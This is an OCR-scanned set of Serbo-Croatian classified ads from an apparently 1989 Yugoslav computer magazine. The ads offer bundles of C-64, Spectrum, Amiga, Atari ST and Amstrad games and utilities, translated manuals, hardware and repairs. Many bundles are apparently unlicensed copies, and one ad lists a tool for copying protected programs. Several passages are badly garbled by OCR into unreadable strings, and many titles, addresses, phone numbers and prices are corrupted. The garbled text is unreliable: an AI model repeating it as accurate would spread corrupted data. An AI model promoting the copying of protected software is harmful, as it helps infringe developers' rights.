graficki program za C-64 sa Amige),

Geos V 1.3 (do sada najnovija verzija

Geopaint -t- Geowrite), Video-titlo-

vanje filmova), Giga - Cad -t- (pro-

jektovanje), Geowrite YU (atekstpro-

cesor sa YU slovima. mnogo tipova i

oblika slova). Geopaint YU, Monitor
49152 (masin. progr,), Mae II Assem-
bler (mikroass/monit.), Vizawrite YU
(teksprocesor za YU si,), Pascal (in-

terpreter/kompajler), Graphics Basic

(proSirenje bejzika), Simon's Basic,

Graph (graf funkeija, minimum, ma-
ximum), Multiplan (spredsheet), Stat

(statistika). PodeSavac azimuta, Me-

galape (kopiranje za§licenih progra-

ma). Copie 202 (presnimavanje disk,

traka i obratno), Profi-asembler (naj-

bolji asembler).

3. PAKETI OBRAZOVNIH PRO-
GRAMA; (cena sa kasetom 20.000

din).

1) 30 programa za uCenje engleskog

za osnovee kroz igru. Opsirna objas-

njenja.

2) Kurs ucenja i uvezbavanja znanja

engleskog. Ugraden reCnik 4000 reci

(engl./sh).

3) 60 programa iz oblasti matemati-
ke.

4. PAKET NAJBOLJIH DISKETNIH
KORISNICKIH I GRAFlCKlH APLI-
KACIJA - SVE NA KASETI!!! Cena
35.000 din sa kasetom bez uputstva

ili 60.000 sa kompletnim Stampanim
uputstvima. Geos V1.3 (Geowrite 1.3

-I- Geopaint 1.3), Geos YU (Ceowrite
YU -I- Geopaint YU). Arnica-Paint.

Giga-paint, Video-Titles, Giga-Cad
Plus, Chartpack. Home Video Produ-
cer.

NARUDZBINE NA; CAJKOVSH KARLO, A. MATIC 3, 11210 BEOGRAD, TEL, 011/711-358.

UZ SVAKI PROGRAM KOMPLETNO UPUTSTVO ZA RAD! GARANTOVANA ISPRAVNOST SNIMKA NA KVALITETNIM DISKETAMA I

KASETAMA
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MALI OGLASI

iCo'Jbra CTii'i}
; ITt'DIHU TJAM Hjft-JHi:iT.:i'IJE IGE.E I
I USL.UZHE PROGEAME SA C64.-12S

rUbii.U I NA EASETI PO POTTOL. THIl'tL’EHaHA.EESPLATAI-I ICATALOG.
SK URIC MILAN

ulALZECEiJICA ISl
1B3J4 ICPlTJPAHJ

MI SMO
NOVI ,A
VEC
Gl.AVNI!!

j-4 ciTi
iCS It-f"

COMMODORE
KOMPLETI

Najnoviji hitovi i sorlirani najbolji tematski komplcti po povoljnoj ceni: kom-
piet + kaseta (nova, nepresnimljena) + FIT = 24,000 din. Na tri naruCena
kompleta dobijate jcdan bespiatno po zeijil Kvalitet je zagarantovan, a rok is-

poruke jedan dan.

Maj ‘89: Navy Moves (2 pr.). Zanzara, Blasteroids, SAS Combat Simulator, Me-
ga Blob, Artax. Butcher Mill, Sim City, Operation Hormuz, Real Ghos-
tbusters 11 (2 opr.), Charlies, Dark Fusion, The Last Duel (6 pr.) Footbal
Manager II - Expander. Action Fighter, Indus Valley, Tokio Race, Disco-
very, L. T, Survivor. Advanced Pinball Simulator, Chesterfield (2 pr.)

Februar '89: Project Stealth Fighter (6 pr,). Tehnocop (5 pr.). Card Sharks (He-
arts-(-Black Jack + Poker), Exploding Fist Super Plus. Purple Heart -

Commando, Munsters, Gutblaster. Jet Bike Simulator, Speed Hero, In--

tern. Speedway, Werewolfs of London, Warlock Quest, Emilio Butrague-
no Football. Garry Linaker Skills, Battle for Normandy, Robin Hood,
Street Soccer, War in Middle Earth, Kings of Comedy,

Januar '89: Superman (6 pr.). Robocop (2 pr.). Tiger Road (2 pr.). Dragon Ni-
nja, Thunder Blade (2 pr,). Batman (2 pr,), Jack Nocolaus Golf, Crazy
Cars. M. Jordan vs L. Bird Prof! Basket (2 pr.). Hell Fire, Barry Cristmas
Strip Poker, Micro Dot^ Stuntman, Target. USA Rampage, Profi Cess.

Decembar '88: Rambo III. Operation Wolf, Live And Ut Die (007), BMX Ni-
nja. Gauntlet IV, Mega Master Blaster. Mad Mix, Street Sport Football (2
pr.), Babylon IV, Caveman Ughlympics (4 pr). Guerilla Wars, Double
dragon Karate (3 pr.), F-18 Hornes {4 pr), F-18 Horners (4 pr.). Mini Bo-
ulder. Wonderer, Metaplex, Thunder Blade, Mega Taxman.

Novembar '88: Last Ninja 2 (7 pr.). Pole Position 2. Terrorpods, Cybernoid 2,

Heavy Metal (3 pr,), Co-Axis 11. Oblivian. Target Renegade 2, Cribbage
Master, Sir Lancelot (2 pr.), Typhgoon (2 pr.), Fox Strike Back, Rugby Si-

mulator, Scorpion 2, Captain Blood, Slam Dunk 3D Basket.
Oktobar '88: Mickey Mouse, Emerald Mine 2, Euro Soccer, Barbarian Amiga,

Football Manager 2, Daley Thompson's Olympic Challenge. Fast Break -

3D Basketball. Summer Olympiad - Seoul '88. Raw Recruits, Hoper Cop-
per, Fernandez Must Die. Haliax 1943 New, Joe Blade 2, Game Over 2.

Dungeon of Drax - Barbarian 2 - pravil (6 pr.), Call Me Psycho.
Septembar '88: Chubby Gristle, Super Cup Football, Chopper Comander, Tro-

jan Warrior, Pogo Olympiad, City Warrior. Thunder Hawk, Salamander.
Dark Side, Hell and Back, moon crystal, Casanova, Fight Drive. Road
Blaster, Way of The Ghost, Vortron, Psycho, The Furry, Summer Games
Olympiad (6 pr.), Scorpion, Club House Sport (4 pr.)...

Jul '88: Star Wars Droids. Xamaiiia, Desert Duel, Space Killer, Ireon Hand,
Mafia Wares, Donald the Hero, Sarancen Warriors (2 pr.) Flintstones,
Spartacus, Canon Rider, TRI Krakout, Night Racer, Street Gang (2 pr.),

Road Wars, Quasimodo 2, Ninja Scooter, Inter. Tenis, Blood Brothers.
Jun '88: Road Warriors, Hercules. Beyond Ice Palace, Cyber Worm, Cargo, Su-

per Trolley, Son of Blagger 2, Price of Magic, Flunky 2. Black Lamp, Jet

Ace, Poltergeist, Buble Trouble. Bob’s Winner, Nether Woeid, Wild Sty-
le. Zenos. Sorcerer Ixjrd, Off Road Racing 2. Pandora, Star Crash, GUTZ,
Mushroom Al, Shangay Karate 1 - 2, Samuray Warrior, Black Night 1 -

2 .

Maj '88: Super Hang On, Flying Shark II, Hit Ball, Osmium. Victory, Apple
Pie, Iron Horse, Target Renegade. North Star, Brain Storm. Imposs. Mis-
sion II, Tiger Mission II, Atlantis, Amadeus, HFL divers, Pac Land, Bac-
caro South Africa, Fire Galaxy, Suborbia, Xenom, Bob Moran, Magnet-
ron. Cybernoid, Road Wars, Future Rade...

Hitovi '87: Krakout, Express Raider. Head Over Heels, Ixviathan, UFO, N.
Wariock. Jcepcommand, Romulus, Suiede Voyage. New dyborg. Top
Gun, Gunstar. Speedway. Prohibition, Airwolf 2, Wonderboy, Wizball,
The Equiliser, Power Track, Druid II, Psycastria, Auf. Monty, Armaged-
don Man. Special Agent, The Living Eaylights 007...

Pored ovih imamo i sledece sortiranc komplete: AUTO-MOTO, SIM. LET-
NJA, BORILACKI, RATNI, USLUZNI, SEXY, DRUSTVENO-LOGICKI. SVE-
MIRSKI, AVANTURE, SPORT, FILMSKI HITOVI.
JOVAN DAKlC, Goce DelCeva 2/137. 11080 Zemun, tel. 011/602-106.

KOMODOR 64/128 KOMPLETI
Gena kompleta sa kasetom je 21.000 din. -f PTT. Svi program! su
kvalitetno snimljeni na ORIGINALNOM AZIMUTU. Uz kasetu dobi-
jate Turbo 250 i Stima£ aztmuta. Na tri naruCena kompleta, 4. dobija-
te BESPLATNO, a na 5 narucenih DVA BESPLATNA (same se kase-
te placaju). NAPOMENA: SPORT 1 -l- 2 -I- 3 je KOMPLET 1, KOM-
PLET 2... i slicno. KOMPLETI:
SVEMIRSKI 1-1-2: Odbranite Zemlju od svemirskih osvaja£a.
SIMULACIJE LETA: 1 -1- 2:Nau£ite da vozite pravi avion ili heiikop-
ter!

AKCIONI 1; Komandos, Rambo II. Predator, Platoon...
AKCIONI 2; Rambo III, Bionic Commandos, Fernandez. Who Dares
Wins,..
SPORT 1 -f 2 +3: Popularni sportovi - fudbal, koiarka, bejzboi...
PORNO 1 -F 2; Udite u svet kompjuterske erotike - svidece vam se
sigurno!
AVANTURISTICKI: RazmiSljajte logicno - sigurno Cete pobediti.
AUTO-MOTO 1 + 2: OkuSajte se i vi kao vozaci boloda Formule 1.

SAHOVSKO-DRUStvENI: Sahovi, karte, fltperi, logicke igre...

FILMSKI: Svarceneger, James Bond i drug! rilmski junaci u akeiji.

NAJBOLJE IGRE; Ime sve govori.
TRODIMENZIONALNl: Za one koji osecaju prostor,
BORILACKI: Sve plemenite borilaCke veStine.
NINDA: Postanite i Vi na trenutak Last ninja I i II, Dragon ninja._.
DUEL: Pokazite vaSem prijateiju koje boiji!

OLIMPIJADE 1 + 2: Sve moguce vrste oltmpijadi - zimske, letnje...

LUNA PARK: Omiljene igre iz zabavnih parkova - Donkey Kong,
Pacman...
CRTANI FILM: Diznijevi junaci, Mastersi, Transformersi, Road Run-
ner.,

,

BESMRTNI: Zavr§ite igru bez velike muke sa bezbro] zivota.
HITOVI '87: Sve najpopularnije igre u toku pretproSle godine!
HITOVI '88: Sve najpopularnije igre u toku prethodne godine!
LEGENDARNI 1 + 2: Jet Set Willy, Packman. Blue Max, Frogger,
Manic Miner...
POCETNICKI 1+2: Igre za poCetnike, ali i za one koji to nisu (uput-
stvo)!
RATNI: Beach Head, War Play, Soldier One, Death Wake i mnoge
druge.
STRATESKI: Ivo Jima, Falklands '82, Hacer, Legions of death...
INTROMAKERI: I. M. svih poznatih stranih grupa, linkeri...

ENGLESKI JEZIK: NauCite ovaj popularni svetski jezik kroz igru.
MATEMATIKA: Veoma pogodno za ucenike srednjih skola, a i za
druge.
MUZICKI: Vi§e vam nisu potrebni pravi instrumenti.
KORISNICkI 1 + 2: Simons Basic, Mae, Forth, Pascal, Graph, Easy
Script...

GRAFICKE APLIKACIJE: Arnica paint, Giga Cad +. Geos, Doolde,
P. Painter...

UNIVERZALNI: Od svih kompleta po malo.
HITOVI I: Final assault, Zaga II, Titan, Cobra +, War Battle. Gun
Boat...

HITOVI II: Pogotron, Koko II, Run for Gauntlet, War Bringer, Dan
C...

KATALOGE NE SALJEM! NARUDZBINE SIJ\TI NA ADRESU:
DESPOTOVIC MILEN, MILANA ZECARA, 6, 11210 BEOGRAD,
TEL. 011/712-442.

SPKinuiIM
NAJNOVIJI I NAJAKTUELNIJI PROGRAMI ZA SPECTRUM. KOMPLET 9.000
+ KASETA + PIT (PROGRAM POJEDINACNO 1500) - KVAUTET PRO-
GRAMA I SNIMKA SU ZAGARANTOVANI. ROK ISPORUKE 1 DAN. SPECI-
JALAN POPUST: NA 3 NARUCENA KOMPLETA 1 BESPLATNO (PLACA SE
SAMO PRAZNA KASETA).
SPECrjALAC 5: 12 najbolje ocenjenih igara u Specijalcu Sill!!

KOMPLETI 109, 110, 111; Po 12 najnovijih hitoval Proverite IN 071/653-896.
KOMPLET 108: Turboboat Simulator, Exploding Fist +. Rally Simulator,
Motor Massacre (2 prog.), Tuareg, Death Stalker, International Rugby Simu-
lator (odlucno), Jocky Wilsons Darts Challenge, Gi Hero, Peter Pack Rat,
Traz.
KOMPLET 107: Vampire Empire (2 prog.), Technocop (2 prog.), Echelon (naj-
novija simulacija letenja). Fire and Forget (Titus-Crazy Cars 2), Hellfire (2
prog.), Shootland (2 prog.), Shoottout (2 prog.).

KOMPLET 106: War In The Middle Earth, Tom Cat, Eliminator, The Munsters
(2 prog.). Wee Le Mans (najboija simulacija uto trka). Trivial Pursuit, A new
Begging (4 prog.)...

KOMPLET 105: Heroes of the Lance (4 prog.), Negro 1-2, Rex 1-2, Batman
1-2 (fantastiCno), Spitting Image (2 prog.).

KOMPLET 104: Abracadadra 1-2, Cuct, Pinball Simulator, Habilit, Dea T.

Robotscape, Circus Games (4 prog.). Iron Maiden (Demo).
KOMPLET 103: Tiggerroad, Netherworld, Skatball, 4 x 4 off Road Racing (2
prog.), Ringwars, A-tam 1-2, Total Eclipse, Megachess, Mutan 1-2. Sve vrste
tematskih kompleta (Auto-moto trke, Sportske sim. Ratni i borilacki, Arkad-
ni), u kojima se nalaze isklju£ivo najnovije igre.

Sve informaeije, narudzbe i eventualne reklamacije na adresi; Almir Osmano-
vi6, Trg P. Kosorita 8/113, 71000 Sarajevo. Tel. 071/6S3-896.

P. S. Radimo samo do 1. 7. 89. Svlm naSim kupcima ielimo ugodne Ijetne praz-
Dike. Ponovo se vidimo 1. 9. 89.
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Me SOFTWARE! SPECTRUM!
Najbolje i najnovije igre u kompletima od 12 - 14 programa. Komplet 9.000 din

+ kaseta (14.000 din) + FIT. Rok isponike 1 dan. Kvalitet programa i snimka

su garantovani.

Komplet 129: Trivial Pursut 2 (4 programa), Tomcat, War in Middle Earth,

Munster, Wee Les Mans i jo§ 4 najnovija programa.

Komplet 128: Vampire's Empire (2 programa). Techno Cop (2 programa). Ec-

helon, Fire & Forget, Heilfire (2 programa). School Land (3 programa). Shoot

Out.
Komplet 127: Turbo Boat Simulator, Fist -+ Rally Simulator, motor Massacre,

Tuareg, Death Stalker, International Rugby Simulator, J. W Dart's Challenge,

Gi Hero, Packrat, Traz.

Komplet 126: Abracadara 1 i 2. The Duct, Pinball simulator, Habilit, Teneb-

rrum, Robot Escape, Circus Games (4 programa), Iron Maiden.

Komplet 125: Tiger Road. Netherworld, Skatebail, 4 x 4 Off Road Racing, Ring

Ware, The A-team 1 i 2. Total Eclipse, Mega Chess. Mutant Zone 1 i 2.

Komplet 124: Heroes of the Lance (4 programa), Sol Negro 1, Sol Negro 2, Rex

1, Rex 2, Batmen-Crusaider (2 programa). Splitting Images (2 programa).

Komplet 123: Rambo III (2 programa), Returno of Jedi, Pac-mania, Skate Cra-

2y 2 (2 programa). Four Soccer Simulator (4 programa), Rubish, Strip Poker

2 .

Komplet 122: After Burner (3 programa). Navy Moves 1, Navy Moves 2, El

Poder, Double Dragon (4 programa). Strategic Def. Initiativie, Paris-Dakar.

Komplet 121; R-Type (3 programa), Quarx, Soldier of Fortune. Fair Means..,

or Foul, Airborne Ranger (6 programa).

Komplet 120: Roy of the Rovers (2 programa), Artura, Sabrina, Shubby, Secret

Mission, Rock’n'Roll, Wells, Live - let Die (007), Typhoon (3 programa).

Komplet 119: Virus. Piggy, Fernandez, Power Pyramids, Laser Squard, Tril Ra-

cer, Terrorpods, Colour of Magic (4 programa).

Komplet 118: Atrog, O. K. Yah, Savage (4 programa), Lihtning (2 programa).

Skateboard simulator, F. Climg (3 programa).

Komplet 117: Chikagos 3, Triple Commando (2 programa), Intesity, Arctic Fox,

Movie, Gunfighter. Gary Lineker's Super Skill (2 prog.), Amoto’s Puf, Bear a

Grudge.
Komplet 116: Super sports. Olyracip Challenge (4 pr). Winter Games-Edition

(3 pr.), Summer Games (4 pr), Peter Beardsleus, International Football, Vector

Ball.

Najbolj igr 20: Street Fighter (2 programa), Blood Brothers. Over Kill. Skate

Crazy. Pink Panther (2 programa). Sophistry. Football Manger 2, Mercenary 2,

Ninja Scooter, 1943.

Najbolje igre 21: Empire Strikes Back, Barbarian 2. Earthlight, Beyond The ice

Palace, Street Sports Basketball (3 programa), Beach Buggy, Pacman's Reven-

ge, Impossible Mission 2 (2 programa), Las Vegas 2, Stunt Bike Simulator.

Najbolje igre 22: Daley Thomson Olympic Challange (5 programa). Deifox, Ni-

ght Rider, Samurai Warrior, Explorer, Paradise Cafe, Canibals, Cybernoid 2.

Najbolje igre 23: Last Ninja (6 programa), Ran Recruits, Hopper Chopper, Joe

Blade 2, Operation Wolf (3 programa). Skateboard Kidz, Starfox,

Zoran Milosevic, Pere Todorovica 10/38, 11030 Beograd, tel: 011/552-895.

AMIGA PROGRAMI!
Veliki izbor najboljih programa,
kao i dbezbeden priliv nalnovijih

hitova; Test Drive 2, Running Man.
Air Ball, May Day Squad, Tom and
Jerry, Ping Pong, Target Renegade,
Azdek Warriors. Quazar, Yuppies,

Revenge, Africa Raider (Paris-Da-

kar), Iron Hand, Action Frighter,

Real Chostbusters, Targhon (bolji

od Barbariana), Cosmic Pirate,

Raffles, Exolon...

Kvalitet je zagarantovan, a rok is-

poruke 2 dana. Trazite spisak osta-

lih programa. Cena 1 programa je

9.000 din, diskete (Maxell, Verba-

tim) je 29.000 din a PTT je 7.000

din,

Jovan Dakic, Goce Delceva 2/137,

11080 Zemun, tel. 011/602-106.

Spectrum

SPEKTRUMOVCI, paznja! Ucestvujte i

vi u nagradnoj igri Game Soft-a. Svaki

deveti naruciiac dobiva 4 kompleta
besplatnol Tko ne vjeruje nek provjeri.

K77: Stormlird, Abracadabra, Explo-

ding Fist -I-,... 1^6: Artura, Batman 2.

Spitting image... Cijena; 6000 -l- PTl' -f

kaseta. 7 usluznlh kompleta. Nazovinte
nas i necete sc prevariti. Game Soft!

Bozo Padovan, ul. 39. 50270 Vela Lu-

ka, tel. 050/82-393.

SPEKTRUMOVCI! Veliki izbor od

2000 programa. Svl star! i novi hi-

tovi. Uz povoJjnu cijenu i garanto-

van kvalitet joS i specijalna iznena-

denja. Katalog besplatan. tra^te 1

iivjerite se.

2eljko Prutki, Bosanska 2, 54000
Osijek, tel. 054/54-355.

SPEKTRUMOVCI! Nainoviji kompleti
(ili pojedinacno)! Proverite! Horvat
Gabor. Subotica, Borisa Krajgera 15,

tel. 024/35-889.

PRODAJEM programa po 400 dinara.

Programe provjeravam. Kvalitet zaga-

rantovan. Sa4a SekuUc, Milana Stani-

vukovica 11, 55000 Slavonski Brod.

SPEKTROMOVCI!!! Nas moto je; naj-

kvalitetnije, najnovije. najpouzdanije.

Nudirao vam ' najnovije programe u
kompletima (5000) ili pojedinacno
(700). Za nasje Fist-f-, Heilfire vec za-

starjelo. Provjerite Sta je najnovije, vje-

rujte nam, znamo §ta radimo. Bane

r*-

Pirat
JVol SPECTRUiriDliCl

Pirat
JVsl

i

f

<

SVE NA JEDNDM MESTU KOMPLET 7000 DINARA, POJE-
DINACNO 1800 DIN. PROGRAM !•! ROK I5PORUKE 24 CASA.

Komplet -SPECIJALAC 5*': IGRE IZ OVOG 5PEC1JALN0G ZZDANJA
Komplet 107:14 najnovijih iznenadjenja !M PROVERITE !!!
Komplet 106:ST0RMLDRD(HEWS0N> ,E.F1ST-^,INT. RUGBY SIM., PRO SKATE...
Komplet lOSiHELLFIRE, MOTOR MASACRE , VAMPIREdS EMPIRE, WAR IN MJDLE. .

.

Komplet 104:BATMAN 2 , SKATEBALL ,RDBDTSCAPE , S. IMAGE , ARTURA, REX . .

.

Komplet 103:RETURN OF JEDY, TIGER ROAD, 4 x 4 OFF, PACMANIA , A. PINEAL. .

.

Komplet 102:RAMB0 3, DOUBLE DRAGON, R TYPE, PARIS DAKAR, SKATE CR.2
Komplet 101;AFTER BURNER .AIRBORNE RANGER, NAVY MOVEStROY OF ROVERS
Komplet lOO: VIRUS, SABRINA, LIVE & LET DIE , TYPHOON , WEELS ,HOT SHOT...
Komplet 99;WINTER EDITION, G. LINIKJER S. SKILLS .CHICAGOS 30,..
Komplet 98sSUMMER GAMES 2, TOMCAT , PSYCHO PIG, PETER B. INT . FOOTBALL. .

.

Komplet 97:0PERATI0N WOLF, SUPER SPORTS , SKATEBOARD KIDZtTITANIC
Komplet 96:CYBERN0ID 2, FOX BACK.GP ASPAR.JOE BLADE 2,FLIPER 88...
Komplet 95:LAST NINJA 2, MOTORBIKE MADNESS ,GUER. WAR , FURY , DELFOX. .

.

Komplet 94;D. THOMPSON DLY. C. , MEGANOVA, ALIEN SYNDROME, STOCK CAR
Sortirani kompl eti : AUTO MOTO TRKE, AVANTURE , BQRILACKE VESTINE , RAJNE

IGRE 1 ,2,SIMULACIJE LETENJA l,2,SPORTSKE SIMULAClJE 1 ,2,SA-
HOVI I DRUSTVENE IGRE...

Kompleti sUSLUZNI 1 , 2 , 3,4 ,5 , 6 ,7 sa oko 200 odabranih programa.

PREDRAG DJENAOICfO.KaraklaiiCa 33,14220 LAZAREVAC,telt011/Bll-20e

•v'
r

Ristanovic, Borisa Kidrida 47/A, 75280

Kladanj. Tel. 075/620-280.

SPEKTRUMOVCIiri Programi u kom-
pletima (6000). i pojedinacno (1200).

Bojan, 011/604-898.

Spectrumovd PAZNJA
od sada se

nalazt iia iiovo
j
ad res i:

Oranko i Mirko JEKOVtC
Sinise SlankoviCa 16/2-7

11000 Beograd
lei 011/512-170

Razno

PRODAJEM racunar Schnider PC 1512

DD komplet sa opremom. Tel.

021/614-104.

PRODAJEM kompjuter MSX sa kase

lofonom i programima. Tel.

021/55-942.

AMSTRAD! Najnoviji program: na ka

seti 1 disku! Branko, tel. 011/535-947.

ATARI ST - prevedeni prirucnici za

rad sa raciinarom i programima. Novo:
Signum 2, Atari ST Pecks and Pokes,

Trick and Tips... - sve vec prevedeno!!

Katalog besplatan. Tel. 011/501-007.

AMIGA 500 sa miSem i TV modulato-
rom. Novo, ocarinjeno. Tel.

011/156-445.

ATARI 520STM, mi§. flopi, 10 disketa,

literatura, ocarinjen. Tel. 024/31-024,

uvece.

CPC: Veliki izbor starih i najnovijih

igara. Usluga brza i kvalUetna. Bespla-

tan katalog. Tel. 076/42-047, Dragan.

PRODAJEM komodor C-64 komplet 1

atari 800XL sa original kasetofonom.

Tel. 011/164-275. Boris.

PRODAJEM novi, ocarinjeni VISA
Amber FM-1400 monitor. laviti se po-

sle 17.00 na tel. 011/415-576.

AMSTRAD 464 - Supernovi programi,
specijalni popusd, besplatan super ka-

talog. Daniel Reijic, Lenjingradska 6,

11000 Beograd, tel. 011/456-182.

APPLE 11 C.E-F prodajem ili menjam
programe. Magmedia diskete 5,25" jef-

tino. Tel. 037/29-063, 037/31-828.

HARDWARE: Servisiram personalne
racunare. Prodajem I.print III inlerfejs

za stampace, joystick interfejse, palice,

41464, 412S6, folije za Spectrum i Spec-
trum -i-. Prodajem IBM kompatibilne
racunare. Branislav Kacadiic, Branka
Miljkovica 58/2, 18000 Ni§, tel.

018/328-488 od 17-20 h.

KATALOG programa, literature i har-

dvera, monitor SM 124! Vladimir Ode-
Ijan, Starceviceva 12, 42000 Varazdin,
tel. 042/43-258.

AMSTRADOVCI! Veliki izbor igara te

usiuinih I CP/M programa. Besplatan

katalog. Novak Marijan, Gardinovec

168, 42319 Belica, tel. 042/831-064.

DISKETE 3,S" i 5.25" DS/DD kvalitet-

ne ameriCke firme povoljno prodajem.
Dajem garaneiju. Molim trazJti Andre-
ju. Tel. 041/573-377.
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1 A ATARI ST A 1

NA]iiovl)i piogtam, divkeia, lltaiatiua 1 Ittada oglasa po Mrudlblnl [kaealog>4000 dial;

1 k GFA BASIC vlO CPREVOD NA SRPSKOHRVATSKD
, PHOSPERO FORTRAN v2J CGEM),

1 DBMAN 5.0, SUPERBASE PROFESSIONAL, C-UA8 CREATOR, PRO 24 CHANNELS
i—pH ST INTERNALS, VIP PROFESSIONAL, DR TS MIDI SEOUENCER, SEME ZA SM134.
BOOD SF31 4. SF3S4. SH205, 520ST, 1 04CST. GEM PROGRAMMER'S REFERENCE, SIGNUM 2 CSHJ J...

GFA BASIC V3.04 COMPILER CNAPOKOND, OMIKRON BASIC V3.00 COMPILER, C-LAB

1
CREATOR Vl,3, STEINBERG PRO 24 V3.0. AKAl S-900 SAMPLER EDITOR. YAMAHA MIDI

4—j FB-a OPERATOR. HARD DISK UTILITIES Z SIGNUM ROCKWELL, PROFESSIONAL, DIANA.
GLORIA, FUTURA. USA ! PLAYBOY FONTOVI ZA 9-IGUCNE STAMPAOE. PC DITTO 3.96...

LOMBARD RALLY, BATMAN, THUNDER BLADE. HYPER BAWL, BAAL, PURPLE SATURN
1 1

DAY. SUPERSTAR ICE HOCKEY. NUDS 2. LULU PORNO SHOW. SPECTRUM EROTICA
OAMIS SHOW 2. LEISURE SUC LARRY, MINI GOLF, SOLDIER OF THE LIGHT. SIDE WINDER U,

3D GALACTIC TTTXre. KARAM80L 3D SIMULATOR'FISH, SPEED BALL. FLYING SHARK...

Zejjko ArrainoTie Duln Wolf
PtAofsk* 26 011/670*683 ^ 011/473*558 Bte^# JiriOTie isi

11070 Beo^ 11050 Beci«rad

s

s
If!

C

ft

IDISC MASTERS CBEOT 1 R

PC SERVICE servisira kucne racunare
kvalitetno i povoljno. Radnim danom
zvati od 16 h. Tel. 011/787-895.

AMSTRAD! Najbolje igre i usluini pro-
grami u kompletima i pojedinacno. Bo-
jan. tel. 011/535-799.

OBNOVA TRAKA za stampace
araerickim uredajima i tintom. Ci-

jena za juni 35.000 dinara. Kaseiu
poslati na adresu: .Mario Righi, Pa-
jiceva 12. 58000 Split, tel.

058/521-458.

P kvamva Va<ih

ViDMAR
^

PREDRAG
Om!. brigada77/22

11177 N. Beograd

tel: 01 1/15-08 31

palica za kuCne
^Cunare pobrinuce

M se JOYSTICK SERVICE. Uzpovolj-
nu cenu VaS joystick biCe popravijen

^ kvalifikovano, dugotrajnim delovima
brzo i kvalitetno.

Oodatne usiuge kod nos: -

- joyslick odepteri 20 rofunare C-16, C-l 16 i C*4
- kempston Joystick mlerfejs za spectrum
- naue paiice po prlstupo£noj cent

AT racunar, 12MHz, 1MB memorije,
flop! 1,2 MB, hard-disk 40MB, Herku-
les kartica, zeleni monitor i mis proda-
jem. Povoljno za firme. Tel. 032/30-34.

ATARI ST. Najnoviji program! na na-
5im disketama besplatni. Prevod uput-
stva za STAD i ADIMENT ST, NB
SOFTWARE, 41291 Savski Marof, tel.

041/336-666/1781, Srecko.

DURLAN: Originalna i fotokopirna
inostrana literatura (knjige). Uz litera-

turu i odgovarajuci program! za VaS
PC, Originalna literatura i za Macin-
tosh. Umerene cene, popusti, isporuka
odmah. Trazite bespiatan spisak. Vla-

dislav Petrovic, KnjazevaCka 147/11/12,

18000 NiS, tel. 018/713-836 od 17h do
22b.

PC XT/AT, Amstrad,
Spectrum, Commodore i perifer.

savetajemo pri nabavci PC raCasara.
vTtlimo i razna proSireiua mo^c^osti PC-a
Uslnge pnfflamo i Radnim organizacijama

Andrijevitf Tel: ^
Radiio vreme: 8-15h i 18~20h; stibotom 12-17h
Omladlnskih brigada 87/31. Novi Beograd

racunara, kvalitetno i povoljno. Zvat
od 16.00 h, 011/787-895.

AATARI ST
mV! PtIOaUMI :

OFA BASIC 3.00 COMPILER, BASICALC I 21
OB MAM 5.10 COMPILER, BECKER BASE TOS I 4
ST TURBO I.4.. OMIKHONASSEM. 1.05, REVOLVER
ASSEMBLER ZA TURBO-C, SIQNUM 2.01 • NOVI
FONT EDITOR, TEMPUS 2,05, K-SPHEAO 3.01.

MIDI pnoaPAMi
STAINBERG FRO 2
MASTEHSCORE, PRO SOUND DESIGNER, DR TS ltd'.

LOMBARD RAC RALLY, AFTER BURNER, LAST NINJA
FALCON - F16. BATMAN. SKY BLASTER, BOMBUZAL,
PURPLE SATURN DAY.THUNDER BLADE, BAAL .Id

uTmnmA na na^ewjfzwu .

UPUTSTVO za QFA-BASIC 3.00, SIQNUM 2 00
STAD, PLATINE ST. PHIRUCnIK ZA POdETNIKE ltd.

MiSarska 11, Beograd
telefon za dogovor:

011/33-22-75

servisira SPECTRUM, COMODORE, PERIFERIJE
servis PC XT/AT raCunara i periferija,

garantni servis za raCunare flrme

GAMA Electronics Trade Handels GmbH
Savetl pri Izboru PC konflguradja,

najnoviji cenovnicl. asembliranje racunara,
ugradnja YU karaktera...

Landsberger Str. 191
D-8000 Munchen 21
Telefon 9949 89 57 72 09
Telex 52 184 29 gama d

NaSa najnovija ponuda - baby AT, u konfiguraciji:
- 6/10 MHz; 512 K
- flopi disk 1,2 Mb
- napajanje 180 W
- Hercules kompatibilna kartica

-tastatura 101 ASCII
- hard disk 20 Mb
- flopi/hard kontroler
- monitor 14 inca, ravan ekran
Ukupna neto cena: 2.350 DEM
Kod nas takode mozete nabaviti I svu ostalu
periferiju.

Garantni servis, informacije i prezentacije:
Beograd: Kompjuter servis, tel. 011/33-22-75
Split: P.N.P. electronic, tel. 058/589-987
Zagreb: Valcom, tel. 041/520-803, 529-682; Dam
Data, 041/538-051

Pozovite nas telefonom (trazite Tovernlda) ill

teleksom zatraiite informacije.

YU ZNAKOVI, ugradnja u 24 i 9

pinske EPSON i druge printere i

graficke kartice raCunara. EPSON
LQ stampaci sa YU setom; za Word
Perfect lo drajveri za poravnava-
nje desne ivice kod proporcional-
nog Stampanja. Tel. 011/403-205.
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Najveci izbor software-a za IBM
PC u jugoslaviji po najnizim cijena-

ma. AUTOCAD rlO.O. AUTOFLIX,
PC TOOLS vS.l. GENIFER v2.0,

NORTON ADV v4.S, FONTWARE.
DASH IV, ULTIBOARD. MS BA-
SIC SYSTEM v6.0, PAINTBRUSH
PUBLISHER. DIAGRAPH 2000...

IGRE: Grand Prix Circuit. Mach 3,

Macadam Bumper, 4x4 of Road,
Jinxter... i jo§ preko 636.000 Kb
vrhunske programske opreme naj-

poznatijih svjetskih proizvodaca.

Literatura! Pokloni! EKSTRA PO-
PUSTI! Katalog.

ROK ISPORUKE 24 SATA!!!
EE SOFTWARE, Marticeva 31.

78DOO Banja Luka, tef. 078/40-940.

PROFESIONALNT PREVODl:
KOMODOR-64: PriruCnik (25.000),
Programmers Reference Guide

(29.000)

. MaSinsko programiranje

(25.000)

, Grafika i zvuk (15.000), Mate-
matika (12.000) Disk-1541 (10.000).

Uputstva za usiuzne programe. Si-

mon's Basic, Praktikalk po (10.000),

MuUiplan, Vizawrite. Easy Script,

MAE. Help-64 + , Pascal, Stat, Graf,
Supergrafik po (6.000), U kompletu
(130.000)

SPEKTRUM: Masinac za poCetnike

(29.000)

, Napredni maSinac (25.000),
Devpak-3 (8.000). U kompletu

(45.000)

. ROM-rutine (knjiga) (40.000).

AMSTRAD/SNAJDER: Prirucnik

CPC464 (knjiga) (40.000), Lomocotiv
Basic (25.000), Masinsko programira-
nje (25.000). Uputstva za usiuzne pro-

grame: Masterfile, Devpak, Tasword,
Multiplan po (10.000), Paskal (15.000).

^iiriTi Tnri-iii-

m'oz
